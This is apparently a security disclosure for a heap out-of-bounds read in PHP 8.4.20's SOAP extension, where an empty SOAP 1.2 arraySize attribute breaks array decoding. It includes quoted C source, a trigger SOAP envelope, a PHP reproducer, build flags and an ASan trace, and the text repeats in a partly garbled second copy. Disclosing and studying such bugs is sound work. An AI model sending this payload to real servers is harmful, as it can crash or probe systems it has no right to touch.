Summary
PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
enc:arraySize attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads pos[0] for the first array item.
AddressSanitizer reports a four-byte heap out-of-bounds read in
to_zval_array(). The malformed value is protocol data in a SOAP request or
reply.
Details
- Affected component: bundled
ext/soap in PHP 8.4.20
- Affected entry points:
SoapServer::handle() decoding a SOAP 1.2
request, and SoapClient decoding a SOAP 1.2 response
- Affected source:
https://github.com/php/php-src, PHP 8.4.20;
ext/soap/php_encoding.c
- Root cause:
calc_dimension_12() accepts an empty arraySize as zero
dimensions, but to_zval_array() subsequently indexes the corresponding
zero-length pos allocation.
- Trigger condition: a SOAP 1.2 encoded array has
enc:arraySize="" and contains at least one XML element.
calc_dimension_12() counts runs of decimal digits or * characters. An
empty string enters neither loop and returns its initial value of zero:
/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
int i = 0, flag = 0;
while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
str++;
}
if (*str == '*') {
i++;
str++;
}
while (*str != '\0') {
if (*str >= '0' && *str <= '9') {
if (flag == 0) {
i++;
flag = 1;
}
} else if (*str == '*') {
soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
} else {
flag = 0;
}
str++;
}
return i;
}
The SOAP 1.2 array path trusts that result. get_position_12() and the later
pos allocation both receive dimension == 0. The loop for intermediate
arrays is skipped, leaving i == 0, and the first child is inserted using
pos[i]:
/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);
/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);
/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
/* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);
The public request path is a normal SOAP server receiving raw request XML:
<?php
function sink($value = null): void {}
$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.
An untrusted peer needs only to send the following SOAP body to that endpoint:
<?xml version="1.0"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:m="urn:x">
<SOAP-ENV:Body>
<m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
The same native decoder is used when SoapClient processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.
PoC
Environment and configuration
- PHP: PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
- PHP source revision: PHP 8.4.20 source tree. The original build did not
retain a git commit identifier.
- PHP configure options:
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
--enable-soap --enable-mbstring --enable-debug --disable-cgi \
--disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
--with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
--with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
--with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
--enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
--enable-sockets --enable-opcache --with-sodium --with-readline \
--with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
--with-pdo-firebird=/usr --enable-zend-test
- PHP compiler/linker flags:
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
- Extension: bundled
ext/soap, enabled with --enable-soap; no separate
PECL module is loaded.
- Sanitizer runtime:
USE_ZEND_ALLOC=0,
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1. The recorded invocation
also set LD_LIBRARY_PATH=/opt/openssl-3.2/lib64.
Reproducer
<?php
function sink($value = null): void
{
}
function envelope(string $parameter): string
{
return '<?xml version="1.0"?>'
. '<SOAP-ENV:Envelope'
. ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
. ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
. ' xmlns:m="urn:x">'
. '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
. '</SOAP-ENV:Envelope>';
}
$server = new SoapServer(null, [
'uri' => 'urn:x',
'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');
$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
docker exec php-asan-8420 env \
LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
USE_ZEND_ALLOC=0 \
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
/src/php/sapi/cli/php /tmp/soap-array-size-oob.php
Sanitizer report
The retained sanitizer evidence reports the following access for the empty
arraySize server trigger:
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
#0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
#1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
#2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650
The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.
PHP Version
Operating System
No response
Summary
PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
enc:arraySizeattribute while decoding an encoded array. An empty value makesthe dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads
pos[0]for the first array item.AddressSanitizer reports a four-byte heap out-of-bounds read in
to_zval_array(). The malformed value is protocol data in a SOAP request orreply.
Details
ext/soapin PHP 8.4.20SoapServer::handle()decoding a SOAP 1.2request, and
SoapClientdecoding a SOAP 1.2 responsehttps://github.com/php/php-src, PHP 8.4.20;ext/soap/php_encoding.ccalc_dimension_12()accepts an emptyarraySizeas zerodimensions, but
to_zval_array()subsequently indexes the correspondingzero-length
posallocation.enc:arraySize=""and contains at least one XML element.calc_dimension_12()counts runs of decimal digits or*characters. Anempty string enters neither loop and returns its initial value of zero:
The SOAP 1.2 array path trusts that result.
get_position_12()and the laterposallocation both receivedimension == 0. The loop for intermediatearrays is skipped, leaving
i == 0, and the first child is inserted usingpos[i]:The public request path is a normal SOAP server receiving raw request XML:
An untrusted peer needs only to send the following SOAP body to that endpoint:
The same native decoder is used when
SoapClientprocesses a SOAP 1.2 replyfrom a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.
PoC
Environment and configuration
retain a git commit identifier.
ext/soap, enabled with--enable-soap; no separatePECL module is loaded.
USE_ZEND_ALLOC=0,ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, andUBSAN_OPTIONS=halt_on_error=1:abort_on_error=1. The recorded invocationalso set
LD_LIBRARY_PATH=/opt/openssl-3.2/lib64.Reproducer
docker exec php-asan-8420 env \ LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \ USE_ZEND_ALLOC=0 \ ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \ UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \ /src/php/sapi/cli/php /tmp/soap-array-size-oob.phpSanitizer report
The retained sanitizer evidence reports the following access for the empty
arraySizeserver trigger:The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.
PHP Version
Operating System
No response